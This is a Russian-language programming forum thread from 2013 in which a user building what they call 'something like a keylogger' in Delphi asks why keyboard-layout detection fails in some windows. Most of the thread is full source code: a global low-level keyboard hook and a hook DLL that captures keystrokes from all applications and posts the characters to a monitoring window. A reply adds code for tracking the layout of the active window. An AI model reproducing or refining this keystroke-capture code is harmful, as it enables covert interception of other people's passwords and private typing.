Форум программистов, компьютерный форум, киберфорум
Delphi для начинающих
Войти
Регистрация
Восстановить пароль
Блоги Сообщество Поиск Заказать работу  
 
Рейтинг 4.88/25: Рейтинг темы: голосов - 25, средняя оценка - 4.88
174 / 160 / 71
Регистрация: 22.02.2013
Сообщений: 1,769
Записей в блоге: 2

Определение раскладки клавиатуры

07.10.2013, 00:33. Показов 5007. Ответов 3
Метки нет (Все метки)

Студворк — интернет-сервис помощи студентам
пишу что то наподобие кейлогера. Есть однка проблема - не везбде определяет раскладку (ie10 например). В адресной строке норм определяет -eng или rus, а вот в других полях нет
Вот код:
Delphi
1
2
3
4
5
6
7
8
procedure InstallHook;
const
 WH_KEYBOARD_LL = 13;
begin
 hHook:=SetWindowsHookEx(WH_KEYBOARD_LL, LowLevelKeyboardProc, hInstance, 0);
 if hHook=0
 then RaiseLastOSError;
end;
Delphi
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
function LowLevelKeyboardProc(nCode: Integer;
  WParam: WPARAM; LParam: LPARAM): LRESULT stdcall;
 
  type
  PKbdDllHookStrukt = ^TKbdDllHookStrukt;
  _KBDLLHOOKSTRUCT = record
    vkCode: DWORD;
    scanCode: DWORD;
    flags: DWORD;
    time: DWORD;
    dwExtraInfo: PDWORD;
  end;
  TKbdDllHookStrukt = _KBDLLHOOKSTRUCT;
 
const
 RPT_WPARAM_DATA = '%s';
 RPT_LPARAM_DATA = '%d';
 
var
 StrResult: string;
begin
 StrResult:='';
 if nCode=HC_ACTION
 then Result:=CallNextHookEx(hHook, nCode, WParam, LParam);
 
 case WParam of
  WM_KEYDOWN: StrResult:=Format(RPT_WPARAM_DATA, ['']);
  WM_KEYUP: StrResult:=Format(RPT_WPARAM_DATA, ['']);
  WM_SYSKEYDOWN: StrResult:=Format(RPT_WPARAM_DATA, ['']);
  WM_SYSKEYUP: StrResult:=Format(RPT_WPARAM_DATA, ['']);
 end;
 
 StrResult:=Format(RPT_LPARAM_DATA, [PKbdDllHookStrukt(LParam)^.vkCode]);
 
 VKey:=strtoint(strresult);
 Form1.Memo1.Lines.Add(Chr(VKey)+'/'+StrResult);
end;
помогите!

Добавлено через 1 час 24 минуты
up!

Добавлено через 3 часа 29 минут
help
0
IT_Exp
Эксперт
34794 / 4073 / 2104
Регистрация: 17.06.2006
Сообщений: 32,602
Блог
07.10.2013, 00:33
Ответы с готовыми решениями:

Определение раскладки клавиатуры активного окна
вот функция {активная раскладка в активном окне} function GetActiveKbdLayoutWnd : LongWord; var hWindow,idProcess : THandle; ...

Индикация раскладки клавиатуры
Ув. знатоки, возник такой вопрос. Необходимо, чтобы на форме отображался значок активного языка. Использую следующую процедуру: procedure...

Включение смены раскладки клавиатуры
Привет всем. В своей программе для определенных целей прибиваю explorer. Прибивается всё как положено. Но есть одна проблема. После того...

3
844 / 739 / 342
Регистрация: 22.09.2012
Сообщений: 5,034
07.10.2013, 00:50
Цитата Сообщение от NotBeginner Посмотреть сообщение
не везбде определяет раскладку
Вот этот код когда-то собирал- у меняопределет бес сбоев, пременные тока глобально и код на таймер поставиш

Таймер проверяверяет какая раскладка и если сменилась запишет.

Delphi
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
var
  Form1: TForm1;
  rasEN: string; //ðàñêëàäêà EN
  rasRU: string; //ðàñêëàäêà RU
//.....
//.....
 
begin
  rasRU := rasEN;
  if GetKeyboardLayout(GetWindowThreadProcessId(GetForegroundWindow, nil)) =
    67699721 then
    //ðàñêëàäêà àíãëèéñêàÿ
    rasEN := 'Ðàñêëàäêà êëàâèàòóðû- EN ' + #13#10
  else
    //ðàñêëàäêà ÍÅàíãëèéñêàÿ, íàïðèìåð 68748313 ñîîòâåòñòâóåò ðóññêîé
    rasEN := 'Ðàñêëàäêà êëàâèàòóðû- RU ' + #13#10;
  if rasEN <> rasRU then
  begin
    memo1.Text := memo1.Text + rasEN;
  end;
end;
Добавлено через 2 минуты
Кстати ты кейлогер не на основе GetAsyncKeyState собирал?
1
174 / 160 / 71
Регистрация: 22.02.2013
Сообщений: 1,769
Записей в блоге: 2
07.10.2013, 01:08  [ТС]
Цитата Сообщение от NIKOLAYY Посмотреть сообщение
Кстати ты кейлогер не на основе GetAsyncKeyState собирал?
неа
щас попробую твой код
0
174 / 160 / 71
Регистрация: 22.02.2013
Сообщений: 1,769
Записей в блоге: 2
08.10.2013, 20:14  [ТС]
сделал вот так
Delphi
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
[SPOILER]library hookDLLkey;
 
uses
  Windows,Messages,
  dialogs;
 
const
  WM_KEYEVENT = WM_USER+1;
 
var
  HookHandle: HHOOK = 0 ;
  KeybrdState:TKeyboardState;
  Symbol:array[0..1] of char;
 
function KeyHook(CODE, WParam, LParam: DWORD): DWORD; stdcall;
var
  ServerWnd: THandle;
  ScanCode:integer;
begin
  if CODE = HC_ACTION then               
   if ((LParam or (1 shl 30))=LParam) then
    begin
     ServerWnd:=FindWindow(nil,'Monitoring <BSSF>');
     GetKeyboardState(KeybrdState);
     ScanCode:=(LParam shr 16)and $FF;
 
 
     if ToAscii(WParam,ScanCode,KeybrdState,@Symbol,0)>0 then
      PostMessage(ServerWnd, WM_KEYEVENT, ord(Symbol[0]), LParam) 
                                                         else
      PostMessage(ServerWnd, WM_KEYEVENT, 0, LParam);
    end;
  Result:=CallNextHookEx(HookHandle, code, WParam, LParam);
end;
 
 function SetHookKey(Hook : Boolean) : Boolean; export; stdcall;
begin
  Result := false;
  if Hook
  then
    begin
      if HookHandle = 0
      then
        HookHandle := SetWindowsHookEx(WH_KEYBOARD, @KeyHook, hInstance, 0);
      Result := (HookHandle <> 0);
    end
  else
    begin
      if HookHandle <> 0
      then
        begin
          UnhookWindowsHookEx(HookHandle);
          HookHandle := 0;
          Result := true;
        end;
    end;
end;
 
exports
  SETHOOKKEY index 2;
  
begin
end.[/SPOILER]
все работает, но есть одно НО -
Запускаю программу(раскладка русская) - нажимаю "а" меняю язык нажимаю снова "а" - вместо "f" о5 выводится "а". как исправить???

Добавлено через 8 часов 12 минут
как я понял такое происходит из за того что раскладка в моей программе и в том приложении, в котором отслеживаю нажатие клавиш, разные. Не знаю верное ли это решение - пытаюсь делать вот так -
определяю раскладку в моей приложении и сравниваю ее с раскладкой в активном окне, если они разные то я в своем приложении меняю раскладку. Но почему то такой способ тоже не помог
Кликните здесь для просмотра всего текста
Delphi
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
library hookDLLkey;
 
uses
  Windows,Messages, SysUtils,
  dialogs;
 
const
  WM_KEYEVENT = WM_USER+1;
 
var
  HookHandle: HHOOK = 0 ;
  KeybrdState:TKeyboardState;
  Symbol:array[0..1] of char;
 
 {активная раскладка в своей программе}   
function GetActiveKbdLayout : LongWord;
begin   
result:= GetKeyboardLayout(0) shr $10;   
end;
 
{активная раскладка в активном окне}   
function GetActiveKbdLayoutWnd : LongWord;
var
hWindow,idProcess : THandle;
begin   
// получить handle активного окна чужой программы   
hWindow := GetForegroundWindow;   
// Получить идентификатор чужого процесса   
idProcess := GetWindowThreadProcessId(hWindow,nil);   
// Получить текущую раскладку в чужой программе   
Result:=(GetKeyboardLayout(idProcess) shr $10);   
end;
 
{установить раскладку в своей программе}   
procedure SetKbdLayout(kbLayout : LongWord);
var   
Layout: HKL;   
begin   
// Получить ссылку на раскладку   
Layout:=LoadKeyboardLayout(PChar(IntToStr(kbLayout)), 0);   
// Переключить раскладку на русскую   
ActivateKeyboardLayout(Layout,KLF_ACTIVATE);   
end;
 
 
function KeyHook(CODE, WParam, LParam: DWORD): DWORD; stdcall;
var
  ServerWnd: THandle;
  ScanCode:integer;
  ks : TKeyboardState;
  hk:Cardinal;
begin
  // если раскладка в приложении и активном окне разная
  if  (GetActiveKbdLayout<> GetActiveKbdLayoutWnd) then
  // устонавливаем в приложении ту жу раскладку что и в октивном окне
      SetKbdLayout(GetActiveKbdLayoutWnd)
  if CODE = HC_ACTION then
   if ((LParam or (1 shl 30))=LParam) then
    begin
     ServerWnd:=FindWindow(nil,'Monitoring <BSSF>');
     GetKeyboardState(ks);
     hk:=GetKeyboardLayout(GetCurrentThreadId);
     ScanCode:=(LParam shr 16)and $FF;
     if ToAscii(WParam,ScanCode,ks,@Symbol,hk)>0 then
       PostMessage(ServerWnd, WM_KEYEVENT, ord(Symbol[0]), LParam)
     else
       PostMessage(ServerWnd, WM_KEYEVENT, 0, LParam);
    end;
  Result:=CallNextHookEx(HookHandle, code, WParam, LParam);
end;
 
 function SetHookKey(Hook : Boolean) : Boolean; export; stdcall;
begin
  Result := false;
  if Hook
  then
    begin
      if HookHandle = 0
      then
        HookHandle := SetWindowsHookEx(WH_KEYBOARD, @KeyHook, hInstance, 0);
      Result := (HookHandle <> 0);
    end
  else
    begin
      if HookHandle <> 0
      then
        begin
          UnhookWindowsHookEx(HookHandle);
          HookHandle := 0;
          Result := true;
        end;
    end;
end;
 
exports
  SETHOOKKEY index 2;
  
begin
end.


Добавлено через 1 час 52 минуты
help

Добавлено через 1 час 35 минут
ребят помогите пожайлуста очень хочу разобраться

Добавлено через 2 часа 56 минут
скажите хотя бы куда дальше копать?

Добавлено через 3 часа 2 минуты
up!

Добавлено через 1 час 13 минут
можно удалятть
0
Надоела реклама? Зарегистрируйтесь и она исчезнет полностью.
BasicMan
Эксперт
29316 / 5623 / 2384
Регистрация: 17.02.2009
Сообщений: 30,364
Блог
08.10.2013, 20:14
Помогаю со студенческими работами здесь

Смена раскладки клавиатуры чужого окна
ShowWindow(h,SW_SHOW); BringWindowToTop(h); SetForegroundWindow(h); //PostMessage(h, WM_INPUTLANGCHANGEREQUEST,1,...

Контроль раскладки клавиатуры
Превед программистам :))) Прошу помощи в решении задачки :) В общем сделал текстовый редактор, у меня есть задание ещё: Контроль раскладки...

Как перехватить изменение раскладки клавиатуры в любом приложении?
ставил hook на &quot;WM_INPUTLANGCHANGEREQUEST&quot; не срабатывает пробывал на WM_INPUTLANGCHANGE тоже, на WH_SHELL проверяю на HSHELL_LANGUAGE...

Определение раскладки клавиатуры в конкретном окне
Ктонибудь знает как определить какая раскладка клавиатуры включена в каждом конкретном окне Windows. Заранее спасибо.

Определение текущей языковой раскладки
Добрый день! Подскажите, пожалуйста, функцию, которая бы определяла какой язык в данный момент выбран в системе.


Искать еще темы с ответами

Или воспользуйтесь поиском по форуму:
4
Ответ Создать тему
Новые блоги и статьи
Модульный подход на примере F#
DevAlt 06.03.2026
В блоге дяди Боба наткнулся на такое определение: В этой книге («Подход, основанный на вариантах использования») Ивар утверждает, что архитектура программного обеспечения — это структуры,. . .
Управление камерой с помощью скрипта OrbitControls.js на Three.js: Вращение, зум и панорамирование
8Observer8 05.03.2026
Содержание блога Финальная демка в браузере работает на Desktop и мобильных браузерах. Итоговый код: orbit-controls-threejs-js. zip. Сканируйте QR-код на мобильном. Вращайте камеру одним пальцем,. . .
SDL3 для Web (WebAssembly): Синхронизация спрайтов SDL3 и тел Box2D
8Observer8 04.03.2026
Содержание блога Финальная демка в браузере. Итоговый код: finish-sync-physics-sprites-sdl3-c. zip На первой гифке отладочные линии отключены, а на второй включены:. . .
SDL3 для Web (WebAssembly): Идентификация объектов на Box2D v3 - использование userData и событий коллизий
8Observer8 02.03.2026
Содержание блога Финальная демка в браузере. Итоговый код: finish-collision-events-sdl3-c. zip Сканируйте QR-код на мобильном и вы увидите, что появится джойстик для управления главным героем. . . .
Реалии
Hrethgir 01.03.2026
Нет, я не закончил до сих пор симулятор. Эта задача сложнее. Не получилось уйти в плавсостав, но оно и к лучшему, возможно. Точнее получалось - но сварщиком в палубную команду, а это значит, в моём. . .
Ритм жизни
kumehtar 27.02.2026
Иногда приходится жить в ритме, где дел становится всё больше, а вовлечения в происходящее — всё меньше. Плотный график не даёт вниманию закрепиться ни на одном событии. Утро начинается с быстрых,. . .
SDL3 для Web (WebAssembly): Сборка библиотек: SDL3, Box2D, FreeType, SDL3_ttf, SDL3_mixer и SDL3_image из исходников с помощью CMake и Emscripten
8Observer8 27.02.2026
Недавно вышла версия 3. 4. 2 библиотеки SDL3. На странице официальной релиза доступны исходники, готовые DLL (для x86, x64, arm64), а также библиотеки для разработки под Android, MinGW и Visual Studio. . . .
SDL3 для Web (WebAssembly): Реализация движения на Box2D v3 - трение и коллизии с повёрнутыми стенами
8Observer8 20.02.2026
Содержание блога Box2D позволяет легко создать главного героя, который не проходит сквозь стены и перемещается с заданным трением о препятствия, которые можно располагать под углом, как верхнее. . .
КиберФорум - форум программистов, компьютерный форум, программирование
Powered by vBulletin
Copyright ©2000 - 2026, CyberForum.ru